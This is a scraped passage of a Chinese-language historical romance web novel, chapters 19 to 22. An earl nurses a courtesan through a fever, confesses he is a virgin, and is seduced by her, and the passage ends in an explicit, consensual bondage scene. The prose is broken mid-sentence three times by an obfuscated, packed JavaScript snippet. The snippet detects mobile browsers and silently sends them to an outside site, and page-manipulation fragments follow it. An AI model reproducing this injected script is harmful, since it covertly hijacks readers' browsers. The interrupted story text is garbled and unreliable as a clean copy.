她湿漉漉、软绵绵地躺在床上，看起来仿佛正在睡觉，却显然睡得不好，她的脸红得吓人，眉头也紧紧皱着。 他的心开始感到一阵抽痛。 19. Chapter 19 克里斯蒂安坐到佩内洛普的床边，拿起了她的手紧紧握着，感觉到它在他的掌心又湿又热。 “都是我不对，我不应该约她骑马。”他自责道。 “天呐，你就跟她一样喜欢责怪自己，真是天生一对。”莎拉道，“她自己也喜欢骑马，当时太阳那么好，你不约她，她自己也得出去。你该怪的是伦敦的天气，比男人的心还飘忽不定。” 但克里斯蒂安仍然觉得都是他的错，他之后也没好好照顾她，反而让她在倾吐了过去后，还要伤心失望。 她肯定就是因此才导致最终感冒的。 莎拉见他执意要自责，没有办法，也只能轻轻地叹了口气。 “让我照顾她吧。”克里斯蒂安说，“我想你已经操劳很久了，里士满夫人。” “叫我莎拉。”莎拉道，“你是佩内洛普的——朋友，那也就是我的朋友了，朋友还叫我的头衔，实在太生分了。” “那也请你务必叫我克里斯蒂安。”克里斯蒂安礼貌道。 “好的，克里斯。对于你的提议，我很愿意同意，只是，一位高贵的勋爵，我很想知道你究竟会不会照顾别人？” 克里斯蒂安回想起了十几年前他努力照顾病重母亲的时光，然后认真地点了点头：“我完全懂得如何照顾别人，请相信我，夫人，不，莎拉。” 莎拉看他神情不似是为了逞英雄而胡说八道，也点了点头，让他们去培养感情。她一直在担心佩内洛普的身体状况，确实是好久没有好好休息了，她得去香甜地睡一觉了。 当然，她首先得好好吃点东西，正好厨师也被他吵醒了，可以现做。 莎拉一离开，克里斯蒂安默默为佩内洛普擦干了所有的汗，便一直坐在床边守着她，根本不敢睡觉。 有时候，她非常平静，有时候，她会忽然开始发抖，即便房间壁炉里的火烧得很旺，她的身体也依旧从头到脚都在颤抖。 有时候，她还会含糊不清地叫着她从前丈夫与儿女的名字，声音听起来非常可怜。 这让他不免妒火中烧，也让他心疼不已。 在她以一颗真挚的心爱过的人里，也许只有马修·麦金托什没伤透她的心。 他们那时候都很年轻，年轻到爱情几乎就是生活的一切，而麦金托什又死得实在太早，早到让他们根本来不及面对任何可能的变数，于是，那个男人在她心里永远是美好的。 他该怎么…… 意识到自己又开始想些有的没的，克里斯蒂安苦笑了一声，摇了摇头，又开始为佩内洛普擦汗。 好不容易熬到了破晓时分，忙活了半天的他简直是困得要命。他坐在佩内洛普的床边，脑袋一点一点的，随时就要倒下去了。 然而就在这时，让他守了一夜的人却终于醒了。当她的眼皮颤动着睁开，茫然地盯着他时，他的胸口一紧，头脑也瞬间清醒。 “克里斯蒂安……”佩内洛普迷惑地看着他，有气无力地嘟囔着。 “是我，佩内洛普，对不起。”他连忙向她道歉。 但她完全没有理会他说了什么，只是结结巴巴开口：“我……我有点冷……” 他立刻便爬上了床，钻进了被子里，躺在了她的身边。 他没有考虑过自己究竟应不应该这么做，而是在纯粹的本能驱使下行动，他蜷缩着身体，把她轻轻地抱在了怀里。 他的胸膛随着颤抖的呼吸而颤动。 “我知道。”克里斯蒂安用拇指轻轻抚过她的下巴，“我会让你暖和起来的，你不会有任何事的，我绝不会允许。” 她的眼睛又闭上了。然后，她发出又一声轻声的呜咽，身体颤抖了一下。 她把汗津津的头埋进他的颈窝，手滑过他的胸膛，将手指抠进他的肉里，几乎就像是在拼命地寻求他的温暖。 她在喉咙深处发出微弱声音：“别离开我，克里斯蒂安，他们都离开我……” “我在这里，我永远不会离开你，不会像其他人一样离开你。”他向她保证，尽管他不认为她真的听到了他的话。 “我爱你，我一直爱你，佩内洛普。” 这句话，他没有发出任何声音。 佩内洛普的烧几个小时才退。 当她经过了一天的折磨完全清醒时，她首先感到的是疲惫和虚弱。然后，她才意识到自己的床上还有其他人。 天呐，克里斯蒂安！ 她顿时愣住了，好一会儿，她的记忆悉数回笼，才想起自己昨夜貌似确实看到了他的脸，感受到了他的怀抱，只是她以为自己是在做梦。 她这段时间一直在拒绝见他，她不想看见他，甚至可以说，她没脸见他，她在一天比一天喜欢他，可他却始终坚守阵线，这让她实在是无地自容。 之后，或许是因为忧愁，她病得反反复复，也更不想见到他，她讨厌被自己喜欢的男人看到丑样子。 可他已经看到了，她几天没有好好洗个澡，蓬头垢面的，还因为发烧，汗流个不停，把床单都弄脏了…… 他完全没有嫌弃她。 当她生病的时候，她只感受到了他温柔的抚摸，他温暖的怀抱。他照顾她的方式，是那么的有耐心。 佩内洛普不明白，她实在不明白这个年轻人到底是怎么想的，他尊重她，怜惜她，对她比她的任何一个情人都要更贴心，却无论如何都不愿意上她的床。哪怕她长久以来的工作就是依附有钱男人，给有钱男人提供她的美貌、她的身体与情绪价值，而当她在他面前时，她也明显非常愿意。 可他仿佛只想对她付出，不图回报。 他的表现，几乎像是爱着她…… 她就这么盯着他，思索着，慢慢地走了神。 当克里斯蒂安猛地苏醒过来，意识到自己居然一不小心睡着了时，他所面对的就是这么一副场景，他这一生中唯一爱过的女人躺在床上，正在看着他，以一副极度温柔的表情。 这简直像是一个绝世美梦。 如果她不是看起来仍然有点难受，仍然有些昏昏欲睡的话。 她确实是从病中醒了过来。 “你终于醒了。”他开心地说。 佩内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369202|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛普点了点头，却并没有被男人的温柔与喜悦所迷惑，她依然理性十足。 “我想，我从来没有同意见你，你是怎么进来的？” 闻言，克里斯蒂安的脸顿时就红了：“我是偷溜进来的，说到底，这是你的仆人失职了，他们没有锁好后门。” 他强词夺理的样子逗笑了她。 听到她温暖的笑声，克里斯蒂安舒了一口气，也不禁轻轻笑了。 “那么里士满夫人呢？她可是承诺了会一直陪在我身边的。” “里士满夫人已经很疲惫了，我认为她应该休息一下，之后我就接手了。” 佩内洛普忍不住抱怨：“她就是这样，英俊的男人说什么就是什么了，如今嫁了个老头子可真是太难为她了。” 克里斯蒂安道：“至少她得到了金钱与头衔，也不算是一无所获了。” 他与她轻松地闲聊着，就好像他们的友谊从未产生隔阂一般，但她的心里依然惦念着她所经历过的拒绝。 “克里斯蒂安。”她叫他的名字。 “嗯？怎么了？你又不舒服了吗？” 她摇摇头，只是问他：“我不太明白，你为什么一次又一次地拒绝我，又一次又一次地对我那么好？” 她终于还是问了，克里斯蒂安的脸色暗了下来。 “我只想与你做朋友，仅此而已。” “不。”她说，“你吻过我，不是吗？我能感觉到你对我并非没有丝毫欲望，而且，朋友会在汗湿的床单上整夜抱着一个病人，只因为她觉得冷吗？” 当然不会。 但克里斯蒂安执拗道：“我这样的朋友就是这样的。” “你撒谎，但我知道一切究竟是什么原因。”她苦涩道。 克里斯蒂安闻言，本能地感到后背发凉，随后，他才意识到，她不可能知情，她纯粹就是误会了。 “你的年龄绝不是原因！”他大声道。 她又笑了：“这是你自己想到的，说明你确实就是很在意，我比你老太多，所有人都会嘲笑你，说你是一个老掉牙的家伙，喜欢过期货。” 克里斯蒂安一听到“过期货”这个词就觉得刺耳。 “我会想到是因为你一直在介意，佩内洛普，我从未介意过你是否比我大，我有其他的原因。” “那就请你告诉我。”她冷冷道，“你不告诉我，我也只能自己去猜测了。” “我……我……”他望着她，面红耳赤，实在不知道应该如何开口。 于是佩内洛普准备无论如何也要从床上爬起来，离开这个房间。 克里斯蒂安明白，如果就这么让她离开，那他们的“友情”就彻底结束了。 一想到那种他无论如何也接受不了的结果，他咬了咬牙，只能视死如归地开口道：“该死，我从来没有和女人在一起过，你明白吗？” 当然明白。他话中的含义显而易见，他正在告诉她，堂堂的朗斯通伯爵，一位不愿结婚只想游戏人间的浪子，竟然直到今天还是一个处男。 佩内洛普顿时人都傻了。 20. Chapter 20 佩内洛普愣愣地看了他好一会儿，然后忍不住冷笑了起来。 “你真当我是个傻老太婆吗？” 她话音刚落，愣住的人就变成了克里斯蒂安。 他说出这件事就已经很不容易了，他从没想过她还可以不相信。 哪怕这确实很不可信。 他二十五岁，是位非常富有的伯爵，在别的上流社会子弟整天只知道到处找乐子时，他竟然从未参与过，这怎么可能呢？ “我……我真的从来没有过，这是铁一样的事实！”他红着脸嗫嚅道。 天呐，他到底为什么得反复说出这种屈辱的话来，求求了，让她相信吧！ “是吗？”她又开始冷笑，“那就请你告诉我，汉娜·克罗夫特小姐为什么说，你是她这辈子最美好的体验，没有之一，还有亚当斯太太，她说你只需要吻她一下就足以让她欲.火焚身，更别说其他了。还有，这是最重要的，我们都知道你有一个好几年的情妇，据说你对她感情很深。” 克里斯蒂安回忆起自己确实在一些社交场合刻意与某位女士单独相处过，但他压根连吻都没吻过她们，最多就是一起跳过舞，有过一点无伤大雅的言语调情。 他很清楚这几位女士有多虚荣，她们都很愿意做他与多萝西“恋情”里的那个例外，于是她们不仅编造了子虚乌有的东西，甚至说得还太过火了。 他一个如假包换的处男，哪有那个本事成为谁这辈子最美好的体验！ “我没对你撒谎。” 他一边说，一边赶忙抓住她的胳膊，强行把再次想要爬起来离开房间的她拉回到了自己的怀抱里。 她太虚弱了，对他的动作根本无能为力。 “请让我离开，爵爷，不然我就叫里德上来了。”她的声音带着紧张的恳求，让他畏缩了一下。 她在害怕，而让她害怕是他在这个世界上最不愿意做的事情之一，他只想尊重她、珍惜她、爱护她。 “我真的没有骗你。”他慢慢地说着，就像是喉咙里忽然出现了一个巨大的肿块，让他有些难以开口。 “佩内洛普，说出这件事对我来说真的非常困难，如果不是因为你会误会，我想我打死也不会说。这是真的，你是我这辈子见过的最美丽的女人，没有之一，你根本就不明白，让我不去碰你究竟有多困难，我一见到你就想亲吻你，想抚摸你，在我的梦里全都是你……” 他十分快速地对她说着，自己都觉得自己这个口不择言的样子跟发疯也没有什么区别了。 她是否依旧不相信他？而且，他该怎么确定她会保密呢？她会告诉其他人吗？比如她的好友里士满夫人，她为什么不呢？一旦其他人知道他在床上的经验不足，就会成为八卦的素材，她会靠着这些笑料重新变成社交界的宠儿的。 他也毫不怀疑，为了多萝西一直针对他的圣-约翰也会好好抓住这个机会，尽情地嘲笑他。他可能还会被无数人说成是同性恋，所以面对女人不行。 当然，最让他痛苦的是，他们可能会猜到他是身体残缺。 他的耳边又开始浮现起父亲的声音。 他是个残次品，残次品！ “我真是一个白痴。”他伤心地说，“我想我现在在你的眼中就是一个小丑，最可笑的那种，我会立刻离开的。” 他说完就真的准备离开。 可这次，却是她忽然拉住了他的手。 “你说的是真的？”她轻轻地问。 “如果我一定要编瞎话，我为什么不编得对自己更有利一点呢？”他说。 佩内洛普想了想，发现确实如此。 “哪怕与你的情妇，你也没有？” “我这个所谓的情妇，就是被圣-约翰毁掉的那个女孩，我想要保护好她，又正好也需要保守我自己的秘密，所以，我们就这么成为了情人。” “我想圣-约翰还没放弃对她的想法，可你们显然已经分手了……” 佩内洛普的话显示出她依然在怀疑。她确实是个聪明的，难以被糊弄的女人，所以，就像他一直以来告诉自己的，他从一开始就做错了，他从一开始就应该远离她。 她最后可能会知道他的所有秘密，他正非常担心这个。 “她恋爱了，谢天谢地，我之前与你说与妹妹们有约，就是为了她的婚事。因为害怕会被人发现，她的婚礼是用了特别许可证紧急操办的。最后，我也亲自将她交到了那个男人的手上。目前他们俩已经去了美国，她的丈夫在那边得到了一份很不错的工作。” “我明白了。”她低下了头，“但我还是不太能理解这种情况，你是为什么？因为宗教信仰吗？你想将它留到新婚之夜？我以为你根本没有宗教信仰。” “没有为什么。”克里斯蒂安道，“我会告诉你这些，就只是希望解除误会，我不想再听见你说自己是个老太婆，你一点也不老。” 听到他这么说，佩内洛普的脸上也不禁泛起了红晕，就像是在证实他说的话一般。 她自然依旧很美，不管她是否戴了面纱来遮盖它，不管她如何低头或者脸红。 “我相信你。”她终于温柔地开口，“关于你所说的一切，我全部都相信。” 闻言，克里斯蒂安顿时是松了口气：“关于这个，我很感激，我真的从来没有想过要故意伤害你。” “你当然没有，你对我很好。” 他从床上坐了起来，在她也准备起来时，又把她按了回去。 “你生了一场病，得好好休息，女士，我猜你肚子饿了，我下楼去帮你拿。” 说完，他就快步离开了她的卧室。 佩内洛普回想着他告诉她的话，一个处男，笑着在床上滚了滚，然后捧住了自己的脸颊，天呐，它黏乎乎的，全是干了的汗水。 于是，她还是决定爬起来洗个脸，好以更好的状态去面对克里斯蒂安，却听到了脚步声传来。 他的速度居然这么快？ 可来到了她床边的却是另一个人。 莎拉颇有些酸不溜秋道：“我的天哪，早知道找个年轻男人对你这么有效，我早就给他写信让他过来了。” “你嫉妒我。”佩内洛普笑眯眯地对莎拉道。 “你今天才意识到吗？谁不嫉妒你呢？那可是朗斯通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382701|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伯爵，年轻英俊富有，多少人求之不得，却与你出双入对，现在还可以整夜守在你的床前，只为等候你苏醒。告诉我，你究竟怎么做到的？我也想要一个这样的小情人。” “我也不知道。”佩内洛普道，“而且事实上，我和他并没有那种关系。” 莎拉皱起了眉头：“怎么，现在你也要告诉我说，你们只是朋友？” 佩内洛普点了点头：“确实，我们目前只是朋友。” 莎拉完全无法理解：“为什么？这到底是你们两个疯了还是我疯了？” 佩内洛普低下头沉思了一会儿，微笑道：“我想，应该是我们两个疯了。” 当克里斯蒂安带着食物与今早的报纸回来时，莎拉也不说什么，只是打趣了他们俩几句，便识趣地离开了。 佩内洛普惊讶道：“你把报纸也给我拿过来了？” “我猜你会想看，正好我也想看看。” 说完，他将早餐送到她的床上，自己便拿了份报纸在她的床边看了起来。 这种场景真是非常非常微妙。她坐在床上，吃着他送的早餐，看着报纸，他则在她的床边看报。 他们简直和一对新婚夫妇似的…… “是不合胃口吗？” 听到这个问题，佩内洛普猛地回过了神来，这才意识到自己在这里盯着他想东想西的，都忘了要吃东西了。 她赶忙低下了头，看她和朋友们一向关注的社交小报。 里面有一条有关于L勋爵的大新闻，这个痴迷于老女人的年轻男人终于开始将目光放在妙龄女士身上，与迷人的W小姐跳舞了。 迷人的W小姐。 毫无疑问，就是米娜·威尔莫特…… 佩内洛普想起她与马修相识就是在米娜的洗礼宴上。说来也是唏嘘，她第一次见到这个女孩时，自己是个年轻女孩，米娜还是个婴儿，等到再见，她三十有六，而米娜也已正当妙龄。 “你与米娜跳舞了？”她忍不住问。 “米娜谁？”这是克里斯蒂安的第一反应。 随后他才想起来，米娜貌似是威尔莫特小姐的闺名，而她的母亲则叫她，米内特？并邀请他也这么叫，丝毫不见威尔莫特小姐白眼都要翻上天了。 他也不知道自己为何感到如此心虚：“我不得不为之，她的母亲很强势。” 佩内洛普一看到他这个紧张的生怕她误会的模样，就算真的冒出了一点情绪，此刻也消失得无影无踪了。 “那确实是我认识的威尔莫特夫人，不过……” 她停顿了一下。 “米娜是个好女孩，我看得出来这个。她未来也会成为一个好妻子。” 她的暗示就算是再白痴的男人都能听得明白，可克里斯蒂安唯一惦念的女人就是她，就算没有身体上的残疾，他也不会想要其他女人，尤其那个女人还与她有关。 于是他故作风趣道：“我不反对这点，我也希望她未来的丈夫能明白他究竟是个怎样的幸运儿。” 佩内洛普定定地望着他，最终只是低下头，轻轻地叹了一口气—— 却显然是喜悦的。 21. Chapter 21 佩内洛普花了几天时间将自己的状态找了回来。 当她邀请克里斯蒂安来家中吃晚餐并表达感谢时，她特意穿上了新做的礼服，戴上了那条他喜欢的项链与他送的耳环。 她的意图很明显，她已经决定了，她喜欢他，又终于明白了他究竟为何如此抗拒她，让她一次一次感到挫败，所以，她得拿下他，无论谁也无法阻止她，而在这方面，她貌似还从未失过手。 只是，由于面对的是一个比她年轻得多的男人，她还是不免有些紧张，但她一想到他对她说过的话，那些紧张就又慢慢地消散了。 他觉得她很美，而她完全相信他的每一句话。 当克里斯蒂安终于按响了门铃，她亲自到门口迎接，然后听见他开口道：“嗨，佩内洛普。” 佩内洛普听得想笑，自从那天上午的对话之后，他一看见她就总是有些别扭，导致现在他们简直就跟两个十几岁的孩子第一次约会一样滑稽可笑。 而克里斯蒂安只能尴尬地听着她笑。 在她康复之后，他确实开始有些不知道如何面对她。他对她说了太多太多的话，多得简直超过了他的想象，他把自己的大部分伤疤都揭开在她的眼前，还有他的感情。 他倾吐了他对她的感情。 她一定明白他已经完全爱上了她，所以她特意打扮了一番，坐在餐桌对面看着他，像是一位高高在上的女王。 他真喜欢她这样充满自信的样子。 “我这件礼服是新做的，漂亮吗？” 她的问题打断了他的思绪。 他默默把食物切成精确的小块，道：“非常漂亮，你很适合这个颜色。” “我很好奇你最喜欢什么颜色？” “也许是红色。”他说着，脑子里也浮现了十年前第一次看见她时的情景，他始终忘不了的情景。 她穿着红色的衣裙站在他的面前，泪光盈盈却满脸倔强。 于是那天夜里，他第一次梦见了一个女人。 他梦见她坐在他家里的橘园深处，烟雾缭绕，裙裾铺地。 他走近她，她抬头对他笑。 她的眼中有火，舔着他每一寸羞涩的骨血。 他无法自控地想要低下头亲吻她，她却说：“不，你还只是个孩子。” 之后好几年，他都会悄悄给她写下一封信，可每次都没有寄出，就偷偷地烧掉了，他怕父亲会知道他的妄想。 后来，他成熟了，就再也不写信了，他只敢悄悄地做着大胆的梦，幻想终有一天，她会回过头来，笑着问他：“你还记得我吗？” “红色是一种比较极端的颜色。”佩内洛普的声音将他从这些久远的回忆中唤了回来。 “暴力、激情、愤怒、诱惑……都是红色的。” “还有渴望。”克里斯蒂安补充道。 “你在渴望什么呢？”她微笑着问，在灯光与珠宝的衬托下，美得要命。 而答案是毫无疑问的，他早已渴望了她许多年，只是因为他身体残缺，他甚至是连主动追寻她的踪迹都不敢，直到那次他的多管闲事。他实在容忍不了有人公然用言语伤害她，他希望她可以得到爱护。 他没有回答她，而是想办法搪塞了过去，让自己默默回到了他的食物上。而她也没有去多问什么，他们在晚餐余下的时间里没有说话，整个餐厅里只有他们餐具碰到盘子的轻轻的令人不安的声音。 佩内洛普比克里斯蒂安先吃完晚餐，于是克里斯蒂安也放下了餐具，并用餐巾擦了擦嘴角，举止优雅得体。 然后他们静静地喝着餐后酒。 当他们将这轻易不会拿出来的好酒喝完，她站了起来，他也立刻跟着站了起来。绅士的礼节，他时刻不忘。 “我想我该告辞了。” 在夜晚与她单独相处是危险的事，比如此时此刻，他便正感到心乱如麻。 可她却走到了他身前，开门见山道：“我这几天一直在想一个问题。” “什么问题？”他紧张地问。 “我们接下来应该怎么办？” 克里斯蒂安从未想过她会这么问，整个人都有些发愣。 “我们不能就保持现状吗？” “这是你希望的吗？”她又问。 他犹豫了一下，道：“我想，我确实希望如此。” 佩内洛普摇了摇头：“你犹豫了，你对我根本就不仅仅只是友谊，不是吗？我是个交际花，克里斯蒂安，即便是莱顿那种蠢货，也曾被我深深迷住。在某些方面，我的技巧很出色，也许你需要我的指导，来攻克你的心魔。” “指导？”他几乎无法说出这个词来。 她竟然想要指导他？他感到他的喉咙里又冒出了一个巨大的肿块。 “不，佩内洛普，我不认为我需要……” 他的话还没有说完，就被她打断了：“就算你不需要指导，也至少会需要一双可以倾听你心事的耳朵。我知道，你会这样不是没有原因的，我不会向任何人泄密，即便是莎拉。我也劝你永远不要告诉她任何秘密，她是个可怕的大嘴巴。” “不！”他用更激烈的语调再次吐出了这个词，“我不会和任何人讨论这些，但首先，我对男人真的没一点兴趣，请你相信我。” 显然，会被她误解性取向什么的，光是想象那个可能性就让他简直跟死了一样难受。 “好，我相信你，也都听你的。” 她温柔地说着，人又走近了几分，手也轻轻地抚上了他的脸，以安抚他的情绪。 因为她的靠近，他低下头想要去看她的脸，结果却直接完美地看到了她的胸口。她这件礼服的领口很低，让她的女性魅力看起来十分丰满、诱人。 他不知道她是不是故意的，但该死，他正在开始丧失正常思考的能力。 就在这时，他听见她问：“可以护送我回我的房间吗？” 当然可以，他完全没思考，迅速同意了。 他天真地想，然后他会和她说晚安，并用最快的速度离开这座可怕的房子。 他们一起走到了她的卧室，不同于之前满是汗渍的样子，现在床上铺着洁白干净的新床单。 克里斯蒂安只是瞟了一眼，就紧张得手心都开始冒汗，他的大脑正在无法克制地开始幻想一些不能发生的事。 “晚安。”他说了这句就想离开。 可她阻止了他。 “不给我一个吻吗？”她问，“一个分别之吻，这是应有的礼节。” 对，她说的都对。 他慌乱地望着她完美无瑕的面容，将嘴唇慢慢地凑了过去，在将要吻到她脸颊的那一刻，她忽然转动她的头。 她呼出的气息拂过他的嘴唇，如此之近。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399744|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个男人最脆弱的时刻，他的心和大脑想要两件不同的事情，但最终，他的心还是占了上风。 他将嘴唇重重地压在了她的嘴唇上，亲吻着她。 她深吸一口气，然后迅速投入接吻，就像她今晚一直在等待着这一刻。 他半淹没在她热情的吻里，直到完全喘不过气，才被她放过。 他抚平她脸上的几缕乱发，忍不住吻了吻她的脸颊，然后又沿路吻了吻她的脖颈，以及她耳下那微妙的脉搏。 “其实你的……清白没有什么可耻的。”她忽然轻轻开口道，“它甚至让我微妙地理解了一部分的男人，我觉得它，很令人兴奋。” 她一边说，一边慢慢地解开了自己的衣扣，将裙子从肩膀处滑了下去。 克里斯蒂安见此，胸腔里才刚补充进来的空气一下子又被抽空了。 因为在她华丽的礼服下面，她竟然什么也没有穿。 “你……你在干什么？”他低声问道。 她笑了：“这不是显而易见的吗，我正在脱衣服啊。” 佩内洛普的卧室灯光昏黄，映照着她微微泛红的脸颊与半遮半掩的美丽身体。克里斯蒂安觉得自己的心跳几乎是震耳欲聋，而她，依旧带着那抹掌控一切的微笑，仿佛胜券在握。 他知道自己应该赶紧后退一步，维持那条看似安全的界限，然后逃离。 可是，她的手指已经缓缓抚上了他的后颈，轻轻地扣住，让他无法轻易逃脱。 “克里斯蒂安。”她低声呢喃着他的名字，带着刻意的诱哄，“你总是这么克制你自己吗？” 他喉咙干涩，不知道该如何回答。 她轻轻一笑，手指缓缓划过了他的侧脸，低声道：“你明白吗？你越是这样隐忍，越让我想知道你彻底放开自己的样子。” 他的理智在最后一刻拉住了他，他猛地后退了一步，试图让自己冷静。他不敢看她的眼睛，因为他知道，那里藏着火焰，而他已经站得太近，稍不留神，便会被烧得体无完肤。 “佩内洛普。”他深了吸一口气，声音低哑，“你知道自己究竟在做什么吗？你这样太危险了。” 作为一位交际花，她微微歪了歪头，饶有兴味地看着他：“危险？” “是的。”他别开了视线，手指紧攥成拳。 她轻笑出声，靠在了门边，语气里带着一点狡黠：“我当然知道自己在做什么。但你呢？克里斯蒂安，你真的知道自己想要什么吗？” 克里斯蒂安望着她，心绪复杂。她的每一句话都像是诱导，又像是试探。他知道她想要什么，甚至知道她的骄傲和自信让她笃定一切都会按照她的预想进行。可是，她又怎会知道，他此刻内心翻涌的情感比她想象的更加混乱？ 他渴望她，从第一眼见到她时就已经渴望，但他害怕自己无法承受这种渴望。 佩内洛普轻轻叹了口气，似乎对他的迟疑感到无奈。她慢慢走近，一步步逼近他，直到两人的距离再次被缩短到几乎零。 “你有没有想过，克里斯蒂安，你害怕的根本不是我，而是你自己？”她的声音柔软，却字字直击要害。 “你害怕放纵，害怕失控，害怕承认自己想要的不只是陪伴，而是占有。” 克里斯蒂安的瞳孔微缩，呼吸微微急促。她的话就像一把锋利的刀，精准地刺中了他最深的软肋。 22. Chapter 22 他该逃离的，他该转身离开的！ 可是，她就在这里，近在咫尺，温暖而致命。 克里斯蒂安只能自我折磨一般地继续看着她用一种十分悠闲的姿态，让那曾使她显得恍若女神般艳光四射的华服一路滑落到地上，变得毫无光彩。 他口干舌燥，身体就像着了火一般，掌心也开始不停地冒起了汗。 “佩……佩内洛普……”他结结巴巴地叫着她的名字，试图再去说一点什么。 可她依旧是不给他任何机会。 “这是非常美妙的事情，克里斯蒂安，让我为你展示一切，我们会拥有非常非常美好的体验的。” 那是不可能的！ 克里斯蒂安仍在垂死挣扎。他很清楚这一点，如果他不快点做点什么，他就彻底没希望了。 可他的双脚仍然牢牢地钉在地板上，看着她慢悠悠地解开美丽的盘发，让那云朵一般的蓬松柔软的发丝垂落到了她的身体上。 天哪，她真美，她看起来活脱脱就是一幅《维纳斯的诞生》，他都不知道是怎么克制住自己没有上前一步把他的爱神拥入怀中的。 “我看起来很糟糕吗？”佩内洛普问。 克里斯蒂安很清楚，这个女人纯粹是故意这么问的。她就算多年以前不太清楚自己的魅力，这些年来受尽男人追捧时也该知道得清清楚楚了。 但他还是只能对她说这句话：“你看起来，美极了。” “你想要我吗？”她又问。 而这也是毫无疑问的。 “是的。”他不得不承认，“但我不能，佩内洛普，请相信我，我真的不能，我……我做不到的，我得离开。” 对，他得离开，但他为什么还没有离开？他意识到他现在这个手足无措的样子，就像一只被狐狸迷住的兔子。 “佩内洛普。”他只能可怜兮兮开口，“求你了。” “求你了？”佩内洛普笑道，“这可是一句很主观的话，可以代表多重含义。” 面对她调情的话语，克里斯蒂安的脸更红了。 然后，她搂住了他的脖子：“来做我的爱人，我们将拥有所有的欢乐。*” 他绝望地发出一声叹息。 他该如何去拒绝她呢？多年以来，他简直是做梦都想成为她的爱人之一。 于是，她拉着他的手走向床边，他的脚莫名其妙的又能动了。 随后，在他有些不解的目光中，她伸手打开了床头的抽屉，拿出一根绳子递给了他。 “如果你希望的话，你可以用它把我绑起来。”她解释道。 “啊？”克里斯蒂安的眼神躲闪起来，“让我把你绑起来？” 他没有经验归没有经验，倒也不是完全不懂这方面的事，他不是不知道有些人有这方面的癖好，又或者，任何人都曾经偷偷想过这些。 此刻，一想到他也能将梦寐以求的佩内洛普绑起来，并在她这里拥有完全的控制权，他几乎立刻就要来了。 佩内洛普看出了他的想法，不禁露出了一抹胜券在握的笑容：“我相信你，请尽情地掌控我吧，克里斯蒂安。” 当她就这么躺到了床上乖乖地看着他时，她的模样就像是一个心甘情愿的献祭者，正躺在罪恶的祭坛上。 他拿着绳子，跪在她的身边，脑海中的两个小人正在疯狂地互殴。 她真是疯了，疯了，而他显然也是半斤八两，他竟然真的在这里思考这个方法的可行性。 这真的可行吗？ 他抬起头，又看向了她，她眼神中的期望与信任让他的心软得一塌糊涂。他情不自禁地抚摸了一下她的脸颊。 “不要再拒绝我了。”她的低语几乎像是一种恳求，“那真的让我很伤心。” 他从来没有想过拒绝她，一直以来，他就只是太害怕了，而此时此刻，她的情感与包容足以融化一切不安。 他什么也没有说，因为他一个字也说不出来，他只是对她点了点头，然后将她的双臂拉到了头顶上方，用绳子将她的手腕绑在床柱上。 他唯恐会伤害到她，绑得并不算牢。 她调皮地轻轻拉动了一下绳子，意识到没有松动后，给了他一个放心的眼神，让他又神智飘忽了好一会儿。 “现在，你可以触碰我了吗？”她问。 他当然不可能拒绝这个。 他把手从她的脚趾一路摸到她的腿，经过她的臀部和肋骨，再摸到她柔软圆润的肩膀，并轻轻捧住了它，她的温暖顿时传遍了他的全身。 “你真美，你太美了。”他用贫瘠的语言感叹道。 “我喜欢听你夸赞我，我还希望你可以吻我，不论在哪里吻我。” 她的话里暗含着些他不太懂的东西，再一次，他为自己的缺乏经验而感到一阵难为情，但他决定暂且将这些情绪甩到一边去，因为他太想吻她了，不论哪里。 于是，他捧住了她的脚，便轻轻地吻了吻她的脚背。她发出微弱的惊呼让他总算感受到了一点男性自尊，他一路向上，沿着她的小腿，一路吻到了她的膝盖。 她轻笑道：“你是个非常聪明的学生，不是吗？” 他看向她的脸，她的目光灼热，让他的裤子又紧了几分。 一想到他们将要发生的事，他的心就跳得跟打鼓一样。就凭他，一个父亲口中的残次品，究竟该怎么去取悦面前这个美得令人难以置信的女人呢？ “你在思考什么？我希望是令人愉快的事情。”她的语气显示出她已经看穿了他的念头。 “我在想，你还会希望我吻你哪里？” 佩内洛普神神秘秘道：“这个必须交给你自己思考。” 当他的目光转向她的胸口时，他意识到那是一个惊人的诱惑。 而他也那么做了，她的声音证明他又一次做对了。 “我希望下次，这一切还能更亲密。” 更亲密？克里斯蒂安微微一愣，然后他从她的目光中意识到了其中含义。 还可以那么做？ 他没有等到下次，立刻就想要尝试去品尝她的味道。 可在他抚摸她时，她立刻叫了停。 这可真是把他给吓坏了。 他猛然抬起头来看着她的样子，就像是一个等待老师责罚的学生。 佩内洛普被 